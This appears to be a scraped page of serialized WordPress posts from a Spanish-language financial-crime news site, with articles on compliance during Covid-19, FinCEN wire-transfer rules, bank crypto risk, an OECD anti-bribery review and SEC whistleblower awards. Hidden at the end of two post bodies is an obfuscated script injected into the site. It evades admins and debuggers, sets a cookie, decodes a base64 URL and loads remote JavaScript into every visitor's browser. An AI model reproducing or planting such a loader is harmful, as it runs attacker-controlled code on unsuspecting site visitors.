funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: 